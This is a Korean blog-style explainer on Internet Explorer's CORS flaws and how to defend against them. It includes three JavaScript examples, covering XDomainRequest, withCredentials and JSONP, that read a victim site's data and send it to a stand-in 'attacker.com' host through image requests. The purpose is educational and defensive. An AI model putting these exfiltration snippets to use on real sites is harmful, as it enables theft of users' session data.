Internet Explorer(IE)에서는 CORS(Cross-Origin Resource Sharing) 관련 버그와 제한 사항이 존재합니다. 대표적인 문제점은 다음과 같습니다.
XMLHttpRequest 대신 XDomainRequest 객체를 사용해야 하는데, 이 객체는 일부 보안 기능이 부족하고 헤더 설정이 제한적입니다.withCredentials 옵션을 지원하지 않거나, 예상치 못한 방식으로 작동할 수 있습니다.Access-Control-Allow-Headers 값도 일부 제한됩니다.CORS 버그를 악용하여 다음과 같은 보안 취약점이 발생할 가능성이 있습니다.
Access-Control-Allow-Origin을 철저히 설정하여 불필요한 도메인 접근을 제한해야 합니다.SameSite 정책을 설정하여 외부 도메인에서 요청이 들어오지 않도록 해야 합니다.Access-Control-Allow-Credentials: true를 불필요하게 사용하지 않도록 주의해야 합니다.IE는 공식 지원이 종료되었으며, 보안상 위험이 크므로 가급적 최신 브라우저를 사용하는 것이 좋습니다.
IE의 CORS 버그를 악용하여 정보 탈취가 가능한 사례는 다음과 같이 발생할 수 있습니다.
IE 8~9는 표준 XMLHttpRequest 대신 XDomainRequest(XDR)를 사용해야 하는데, 이는 몇 가지 보안 제한이 부족하여 공격자가 악용할 수 있습니다.
Access-Control-Allow-Origin: * 설정XDomainRequest 사용 XDomainRequest는 보안 정책이 허술하여 공격자가 특정 웹사이트에서 사용자의 데이터를 요청할 수 있음.Set-Cookie 기반 인증 정보를 사용하여 공격자가 로그인된 사용자 세션을 통해 민감한 데이터를 불러올 수 있음.if (window.XDomainRequest) {
var xdr = new XDomainRequest();
xdr.open("GET", "https://victim.com/user-data", true);
xdr.onload = function () {
// 탈취된 데이터 공격자의 서버로 전송
var stolenData = xdr.responseText;
var img = new Image();
img.src = "https://attacker.com/log?data=" + encodeURIComponent(stolenData);
};
xdr.send();
}👉 설명
XDomainRequest를 이용하여 victim.com/user-data에서 정보를 요청.attacker.com으로 탈취한 데이터를 전송.🔴 문제점
XDomainRequest는 쿠키를 자동으로 포함하여 요청을 보낼 수 있음.IE 11의 XMLHttpRequest는 withCredentials를 제대로 처리하지 못하는 경우가 있음. 즉, 원래는 Access-Control-Allow-Credentials: true가 설정되지 않은 경우 쿠키를 포함할 수 없어야 하지만, 특정 상황에서 우회 가능.
victim.com에 로그인하여 세션 쿠키가 저장됨.attacker.com에서 악성 스크립트를 실행하여 victim.com으로 요청을 보냄.javascript복사편집var xhr = new XMLHttpRequest();
xhr.open("GET", "https://victim.com/private-data", true);
xhr.withCredentials = true; // 쿠키 포함 요청
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
// 탈취한 데이터를 공격자 서버로 보냄
var img = new Image();
img.src = "https://attacker.com/steal?data=" + encodeURIComponent(xhr.responseText);
}
};
xhr.send();
👉 설명
xhr.withCredentials = true;를 통해 사용자 세션을 이용하여 요청.victim.com이 잘못된 CORS 정책을 가지고 있다면, 공격자가 응답을 받을 수 있음.JSONP(JSON with Padding)는 CORS를 우회하는 방법으로, IE에서는 보안 조치가 미흡한 경우 우회가 가능함.
victim.com이 JSONP 엔드포인트를 제공 (https://victim.com/api?callback=handleData)attacker.com에 악성 스크립트를 심음.attacker.com을 방문하면, 공격자의 스크립트가 victim.com에 JSONP 요청을 보냄.victim.com의 응답을 받아 실행.<script>
function handleData(data) {
var img = new Image();
img.src = "https://attacker.com/steal?data=" + encodeURIComponent(JSON.stringify(data));
}
var script = document.createElement("script");
script.src = "https://victim.com/api?callback=handleData";
document.body.appendChild(script);
</script>👉 설명
callback을 허용하므로, 공격자가 handleData라는 함수명을 지정하여 응답을 받을 수 있음.Access-Control-Allow-Origin을 특정 도메인만 허용하고 *를 사용하지 않음.Access-Control-Allow-Credentials: true 설정을 필요할 때만 적용.SameSite=strict 쿠키 설정을 적용하여 인증된 요청이 예상치 않은 도메인에서 실행되지 않도록 방어.IE의 CORS 버그와 보안 취약점을 악용하면 공격자가 사용자의 세션을 이용해 민감한 정보를 탈취할 수 있습니다. 특히 XDomainRequest, withCredentials 처리 오류, JSONP 등은 CORS 정책이 제대로 설정되지 않은 경우 공격에 쉽게 노출될 수 있습니다. 현재 IE는 공식 지원이 종료되었으므로 보안을 위해 최신 브라우저로 전환하는 것이 필수입니다.
이론적으로는 Internet Explorer(IE)의 CORS 버그와 보안 취약점을 이용하면, 특정 사이트의 데이터를 불법적으로 가져올 가능성이 있습니다. 하지만 실제 공격을 시도하려면 여러 보안 장치를 우회해야 하고, 대부분의 최신 웹사이트에서는 이런 공격이 불가능하도록 설계되어 있습니다.
IE의 CORS 버그를 악용하면 “다른 사이트의 정보를 가져오는 것처럼 보일 수 있지만”, 다음과 같은 제약이 있습니다.
Access-Control-Allow-Origin: * 설정이 되어 있다면, 특정 도메인의 데이터를 불법적으로 요청할 수 있음.XDomainRequest를 사용하는 IE 8~9에서는 인증된 세션을 이용한 요청이 가능할 수도 있음.?callback=악성함수 방식으로 응답을 받을 수 있음.Access-Control-Allow-Origin을 *로 열어두지 않음.Access-Control-Allow-Credentials: true가 없으면 인증된 요청을 실행할 수 없음.SameSite=strict로 설정된 경우, 다른 사이트에서 쿠키 기반 요청을 보내도 인증되지 않음.Content Security Policy (CSP)를 활용하는 경우, 특정 도메인에서만 요청을 허용하도록 방어됨.👉 결론적으로, IE를 사용하여 다른 사이트의 데이터를 가져오는 것은 거의 불가능하며, 보안상 큰 위험이 따르므로 최신 브라우저를 사용해야 합니다.
👉 결론: 오히려 IE를 쓰는 것이 훨씬 더 위험합니다.
왜냐하면:
IE를 쓰면 공격자가 클라이언트(사용자)의 정보를 쉽게 탈취할 수 있는 환경을 제공하는 것과 같음.
최신 브라우저는 보안 기능이 지속적으로 업데이트되므로, 오히려 더 안전함.
✔️ IE 대신 최신 브라우저(Chrome, Edge, Firefox)를 사용하고, 항상 최신 보안 업데이트를 유지하는 것이 최선의 방어책입니다.
오늘은 AI 생태계에 혁신적인 변화를 가져올 것으로 예상되는 MCP(Model Context Protocol)에 대해 상세히 알아보겠습니다. 2024년…
1. TPM이란? TPM(Trusted Platform Module)은 국제 표준 기반의 보안 하드웨어 칩으로, 컴퓨터나 디지털 장비 내에서…
시즌2, 기대했는데... 실망도 두 배!두뇌싸움을 기대했는데, 전략도 없는 자기들만의 감정에 따른 편가르기, 정치싸움이 되어 버린…
BPF(Berkeley Packet Filter) 도어는 해커가 관리자 몰래 뒷문을 새로 만든 것입니다.해커가 명령을 내려 특정 데이터들을 뒷문을…
1. IPC의 개념과 목적 1.1 IPC란 무엇인가? IPC (Inter-Process Communication)는 운영체제 내의 서로 독립적인 프로세스…